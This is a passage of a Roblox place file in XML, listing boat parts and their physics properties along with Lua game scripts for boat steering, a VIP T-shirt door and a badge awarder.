						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.64794373e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.64747036e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>15</X>
							<Y>11.1999998</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4599">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-1685.5</X>
							<Y>16.6000042</Y>
							<Z>180</Z>
							<R00>-6.14892768e-016</R00>
							<R01>-2.47970338e-008</R01>
							<R02>1</R02>
							<R10>7.43910888e-008</R10>
							<R11>1</R11>
							<R12>-2.47970338e-008</R12>
							<R20>-1</R20>
							<R21>-7.43910888e-008</R21>
							<R22>6.14892768e-016</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.64812306e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.64750752e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>14</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4600">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-1685.5</X>
							<Y>13.4000034</Y>
							<Z>187.5</Z>
							<R00>6.14892768e-016</R00>
							<R01>-2.47970338e-008</R01>
							<R02>-1</R02>
							<R10>-7.43910888e-008</R10>
							<R11>1</R11>
							<R12>2.47970338e-008</R12>
							<R20>1</R20>
							<R21>-7.43910888e-008</R21>
							<R22>-6.14892768e-016</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.6479741e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.64755178e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>6.80000019</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4601">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-1693</X>
							<Y>5.40000343</Y>
							<Z>180</Z>
							<R00>6.14892768e-016</R00>
							<R01>-2.47970338e-008</R01>
							<R02>-1</R02>
							<R10>-7.43910888e-008</R10>
							<R11>1</R11>
							<R12>2.47970338e-008</R12>
							<R20>1</R20>
							<R21>-7.43910888e-008</R21>
							<R22>-6.14892768e-016</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.64796828e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.6475576e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>16</X>
							<Y>0.400000006</Y>
							<Z>16</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX4602">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4603">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-1698</X>
							<Y>11.2000046</Y>
							<Z>172.5</Z>
							<R00>1</R00>
							<R01>-2.47970338e-008</R01>
							<R02>6.14892768e-016</R02>
							<R10>-2.47970338e-008</R10>
							<R11>1</R11>
							<R12>-7.43910888e-008</R12>
							<R20>6.14892768e-016</R20>
							<R21>-7.43910888e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.64815311e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.64740767e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>6</X>
							<Y>11.1999998</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4604">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-1693</X>
							<Y>13.800004</Y>
							<Z>172.5</Z>
							<R00>6.14892768e-016</R00>
							<R01>-2.47970338e-008</R01>
							<R02>-1</R02>
							<R10>-7.43910888e-008</R10>
							<R11>1</R11>
							<R12>2.47970338e-008</R12>
							<R20>1</R20>
							<R21>-7.43910888e-008</R21>
							<R22>-6.14892768e-016</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.6481893e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.6474416e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>6</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4605">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-1685.5</X>
							<Y>7.80000305</Y>
							<Z>180</Z>
							<R00>6.14892768e-016</R00>
							<R01>-2.47970338e-008</R01>
							<R02>-1</R02>
							<R10>-7.43910888e-008</R10>
							<R11>1</R11>
							<R12>2.47970338e-008</R12>
							<R20>1</R20>
							<R21>-7.43910888e-008</R21>
							<R22>-6.14892768e-016</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.64800156e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.64762933e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>16</X>
							<Y>4.4000001</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4606">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-1700.5</X>
							<Y>11.2000046</Y>
							<Z>180</Z>
							<R00>6.14892768e-016</R00>
							<R01>-2.47970338e-008</R01>
							<R02>-1</R02>
							<R10>-7.43910888e-008</R10>
							<R11>1</R11>
							<R12>2.47970338e-008</R12>
							<R20>1</R20>
							<R21>-7.43910888e-008</R21>
							<R22>-6.14892768e-016</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.64804842e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.64737278e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>14</X>
							<Y>11.1999998</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Model" referent="RBX4607">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">BoatControl</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="VehicleSeat" referent="RBX4608">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">21</int>
							<CoordinateFrame name="CFrame">
								<X>-1690</X>
								<Y>5.80000353</Y>
								<Z>180</Z>
								<R00>6.14892768e-016</R00>
								<R01>-2.47970338e-008</R01>
								<R02>-1</R02>
								<R10>-7.43910888e-008</R10>
								<R11>1</R11>
								<R12>2.47970338e-008</R12>
								<R20>1</R20>
								<R21>-7.43910888e-008</R21>
								<R22>-6.14892768e-016</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<bool name="HeadsUpDisplay">true</bool>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<float name="MaxSpeed">500</float>
							<string name="Name">VehicleSeat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-1.381327e-025</X>
								<Y>-1.39748287e-025</Y>
								<Z>-1.381327e-025</Z>
							</Vector3>
							<int name="Steer">0</int>
							<int name="Throttle">0</int>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Torque">10</float>
							<float name="Transparency">0</float>
							<float name="TurnSpeed">1</float>
							<Vector3 name="Velocity">
								<X>3.64797378e-020</X>
								<Y>0.00252571423</Y>
								<Z>3.64759411e-020</Z>
							</Vector3>
							<Vector3 name="size">
								<X>2</X>
								<Y>0.400000006</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX4609">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">false</bool>
								<string name="Name">9vssb36tj</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
							</Properties>
						</Item>
						<Item class="BodyPosition" referent="RBX4610">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">1250</float>
								<string name="Name">BodyPosition</string>
								<float name="P">10000</float>
								<Vector3 name="maxForce">
									<X>0</X>
									<Y>INF</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="position">
									<X>37</X>
									<Y>8.19999981</Y>
									<Z>11</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyVelocity" referent="RBX4611">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">BodyVelocity</string>
								<float name="P">1250</float>
								<Vector3 name="maxForce">
									<X>INF</X>
									<Y>0</Y>
									<Z>INF</Z>
								</Vector3>
								<Vector3 name="velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>-0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX4612">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">BodyGyro</string>
								<float name="P">3000</float>
								<CoordinateFrame name="cframe">
									<X>37</X>
									<Y>8.19999981</Y>
									<Z>11</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>INF</X>
									<Y>INF</Y>
									<Z>INF</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Hole" referent="RBX4613">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="FaceId">5</token>
								<token name="InOut">2</token>
								<token name="LeftRight">1</token>
								<string name="Name">Hole</string>
								<token name="TopBottom">1</token>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX4614">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">script.Parent.MaxSpeed = 500 
maxspeed  =script.Parent.MaxSpeed
script.Parent.BodyPosition.position = script.Parent.Position--------------------DO NOT CHANGE ANYTHING!
script.Parent.BodyGyro.cframe = script.Parent.CFrame
value1 = 0
while true do
wait()
if script.Parent.Throttle== 1 then
if value1 &lt; maxspeed then value1 = value1+1 end
script.Parent.Parent.Driving.Value = true
script.Parent.BodyVelocity.velocity = script.Parent.CFrame.lookVector*value1
script.Parent.Parent.Left.Value = false
script.Parent.Parent.Right.Value = false
end
if script.Parent.Throttle == 0 then
value1 = 0
script.Parent.Parent.Driving.Value = false
script.Parent.BodyVelocity.velocity = script.Parent.CFrame.lookVector*value1
script.Parent.Parent.Left.Value = false
script.Parent.Parent.Right.Value = false
end
if script.Parent.Throttle== -1 then
if value1&lt;31 then value1 = value1+1 end
script.Parent.Parent.Driving.Value = true
script.Parent.BodyVelocity.velocity = script.Parent.CFrame.lookVector*-value1
script.Parent.Parent.Left.Value = false
script.Parent.Parent.Right.Value = false
end
if script.Parent.Steer == 1 then
script.Parent.BodyGyro.cframe = script.Parent.BodyGyro.cframe * CFrame.fromEulerAnglesXYZ(0,-.1,0)
script.Parent.Parent.Driving.Value = true
script.Parent.Parent.Right.Value = true
script.Parent.Parent.Left.Value = false
end
if script.Parent.Steer == -1 then
script.Parent.BodyGyro.cframe = script.Parent.BodyGyro.cframe * CFrame.fromEulerAnglesXYZ(0,.1,0)
script.Parent.Parent.Driving.Value = true
script.Parent.Parent.Left.Value = true
script.Parent.Parent.Right.Value = false
end
end
----the plate boat script is by ok3y11</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="BoolValue" referent="RBX4615">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">Right</string>
							<bool name="Value">false</bool>
						</Properties>
					</Item>
					<Item class="BoolValue" referent="RBX4616">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">Left</string>
							<bool name="Value">false</bool>
						</Properties>
					</Item>
					<Item class="BoolValue" referent="RBX4617">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">Driving</string>
							<bool name="Value">false</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4618">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-1693</X>
							<Y>8.20000458</Y>
							<Z>172.5</Z>
							<R00>6.14892768e-016</R00>
							<R01>-2.47970338e-008</R01>
							<R02>-1</R02>
							<R10>-7.43910888e-008</R10>
							<R11>1</R11>
							<R12>2.47970338e-008</R12>
							<R20>1</R20>
							<R21>-7.43910888e-008</R21>
							<R22>-6.14892768e-016</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.64811175e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.64751883e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>5.20000029</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4619">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-1693</X>
							<Y>17.0000038</Y>
							<Z>180</Z>
							<R00>6.14892768e-016</R00>
							<R01>-2.47970338e-008</R01>
							<R02>-1</R02>
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					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<ProtectedString name="Source">print (&quot;VIP T-Shirt Door Script Loaded&quot;)

-- list of account names allowed to go through the door.
permission = { &quot;&quot; } -- This is how many people can still get through, so u don&apos;t have to change shirts. You can also have another friend here.

-- TextureId of the VIP shirt.
texture = &quot;http://www.roblox.com/asset/?id=47819862&quot; -- Go to the wiki below this script to find out how to change the shirt. And paste the link in between the &quot;&quot; marks.

function checkOkToLetIn(name) 
	for i = 1,#permission do 
		-- convert strings to all upper case, otherwise we will let in 
		-- &quot;Username&quot; but not &quot;username&quot; or &quot;uSERNAME&quot; 
		if (string.upper(name) == string.upper(permission[i])) then return true end 
	end 
	return false 
end 

local Door = script.Parent

function onTouched(hit) 
	print(&quot;Door Hit&quot;) 
	local human = hit.Parent:findFirstChild(&quot;Humanoid&quot;) 
	if (human ~= nil ) then 
		if human.Parent.Torso.roblox.Texture == texture then --the shirt 
			Door.Transparency = 0.7 
			Door.CanCollide = false 
			wait(4) -- this is how long the door is open 
			Door.CanCollide = true 
			Door.Transparency = 0 
			-- a human has touched this door! 
			print(&quot;Human touched door&quot;) 
			-- test the human&apos;s name against the permission list 
		elseif (checkOkToLetIn(human.Parent.Name)) then 
			print(&quot;Human passed test&quot;) 
			Door.Transparency = 0.7
			Door.CanCollide = false 
			wait(4) -- this is how long the door is open
			Door.CanCollide = true 
			Door.Transparency = 0 
		else human.Health = 0 -- delete this line of you want a non-killing VIP door 
		end 
	end 
end 

script.Parent.Touched:connect(onTouched)

</ProtectedString>
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					<string name="Name">Decal</string>
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					<Content name="Texture"><url>http://www.roblox.com/asset/?id=35548424</url></Content>
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				</Properties>
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					<float name="Specular">0</float>
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						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
